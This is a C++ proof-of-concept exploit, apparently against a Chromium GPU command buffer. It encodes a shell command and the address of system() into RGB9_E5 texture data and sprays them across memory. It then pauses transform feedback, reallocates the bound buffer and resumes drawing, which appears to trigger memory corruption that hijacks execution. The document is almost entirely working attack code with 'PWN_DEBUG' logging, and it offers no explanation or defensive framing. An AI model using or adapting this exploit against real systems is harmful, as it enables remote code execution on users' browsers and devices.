#pragma allow_unsafe_buffers
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static uint8_t* buf_payload = nullptr;
static GLuint global_program = 0;
static uint64_t target_system_addr = 0;
auto  encode_pixel_gold = [&](uint8_t* out, uint32_t target_bits) {
    uint32_t r = target_bits & 0x1FF, g = (target_bits >> 9) & 0x1FF, b = (target_bits >> 18) & 0x1FF, e = (target_bits >> 27) & 0x1F;
    float scale = powf(2.0f, (float)e - 24.0f);
    float* f_ptr = (float*)out;
    f_ptr[0] = (float)r * scale; f_ptr[1] = (float)g * scale; f_ptr[2] = (float)b * scale;
};

auto pocCompileShader = [&](const GLchar *shader_str, GLenum type) -> GLuint {
    GLuint shader = ContextGL()->CreateShader(type);
    if (!shader) return 0;
    ContextGL()->ShaderSource(shader, 1, &shader_str, 0);
    ContextGL()->CompileShader(shader);
    return shader;
};



if (!buf_payload) {
    target_system_addr = (uint64_t)&system;
    LOG(INFO) << "=== [PWN_DEBUG] === system address: 0x" << std::hex << target_system_addr;

    buf_payload = (uint8_t *)malloc(8192);
    
    const char* cmd = "log -t LOG `id;# `;    ";
    memset(buf_payload, 0, 8192);

    for(int i = 0; i < 6; i++) {
        uint32_t chunk = 0x00000000;
        int start_idx = i * 4;
        
        memcpy(&chunk, cmd + start_idx, 4);

     
        if (i == 5) chunk &= 0x00FFFFFF;

        encode_pixel_gold(&buf_payload[i * 12], chunk);
    }


    uint32_t low = (uint32_t)(target_system_addr & 0xFFFFFFFF);
    uint32_t high = (uint32_t)(target_system_addr >> 32);

    for (int p = 6; p < 200; p++) {
        if (p % 2 == 0) {
            encode_pixel_gold(&buf_payload[p * 12], low);  
        } else {
            encode_pixel_gold(&buf_payload[p * 12], high);
        }
    }

    const GLchar *vs_src = 
        "#version 300 es\n"
        "in vec4 d; out vec4 o; void main(){o=d+vec4(1);}";
        
    const GLchar *fs_src = 
        "#version 300 es\n"
        "precision mediump float; out vec4 c; void main(){c=vec4(1);}";

    GLuint vertexShader = pocCompileShader(vs_src, GL_VERTEX_SHADER);
    GLuint fragmentShader = pocCompileShader(fs_src, GL_FRAGMENT_SHADER);
    
    global_program = ContextGL()->CreateProgram();
    
    ContextGL()->AttachShader(global_program, vertexShader);
    ContextGL()->AttachShader(global_program, fragmentShader);
    
    const GLchar *varyings[] = {"o"};
    ContextGL()->TransformFeedbackVaryings(global_program, 1, varyings, GL_SEPARATE_ATTRIBS);
    ContextGL()->LinkProgram(global_program);
    
    ContextGL()->DeleteShader(vertexShader);
    ContextGL()->DeleteShader(fragmentShader);
}



    
    GLuint spray_textures[1];
    ContextGL()->GenTextures(1, spray_textures);
    ContextGL()->BindTexture(GL_TEXTURE_3D, spray_textures[0]);
    ContextGL()->TexStorage3D(GL_TEXTURE_3D, 1, GL_RGB9_E5, 100, 1, 1);   

    GLuint tracked_buffers[25];
    GLuint tracked_ids[25];
    int track_idx = 0;

    ContextGL()->UseProgram(global_program);

    int SPRAY_WIDTH = 32;
    GLuint tf_buffers[1];
    GLuint ids[1];
    
    ContextGL()->GenBuffers(1, tf_buffers);
    ContextGL()->GenTransformFeedbacks(1, ids);
    
    tracked_buffers[track_idx] = tf_buffers[0];
    tracked_ids[track_idx] = ids[0];
    track_idx++;
    
    ContextGL()->BindTransformFeedback(GL_TRANSFORM_FEEDBACK, ids[0]);
    ContextGL()->BindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, tf_buffers[0]);
    ContextGL()->BufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 512, NULL, GL_DYNAMIC_DRAW);
    

    usleep(10000); 
    
    ContextGL()->BeginTransformFeedback(0);
    ContextGL()->Finish();
    
    ContextGL()->DrawArrays(0, 0, 3);
    ContextGL()->Finish();
    
   
    ContextGL()->PauseTransformFeedback();
    
    ContextGL()->BufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, NULL, GL_DYNAMIC_DRAW);

    ContextGL()->BindTexture(GL_TEXTURE_3D, spray_textures[0]);
    ContextGL()->TexSubImage3D(GL_TEXTURE_3D, 0, 0, 0, 0, SPRAY_WIDTH, 1, 1, GL_RGB, GL_FLOAT, buf_payload);
    
    ContextGL()->ResumeTransformFeedback();
    
    ContextGL()->DrawArrays(0, 0, 3);
    ContextGL()->Finish();
    
    ContextGL()->EndTransformFeedback();
    

    ContextGL()->DeleteTextures(1, spray_textures);
    for (int i = 0; i < track_idx; i++) {
        ContextGL()->DeleteBuffers(1, &tracked_buffers[i]);
        ContextGL()->DeleteTransformFeedbacks(1, &tracked_ids[i]);
    }

    ContextGL()->Flush();
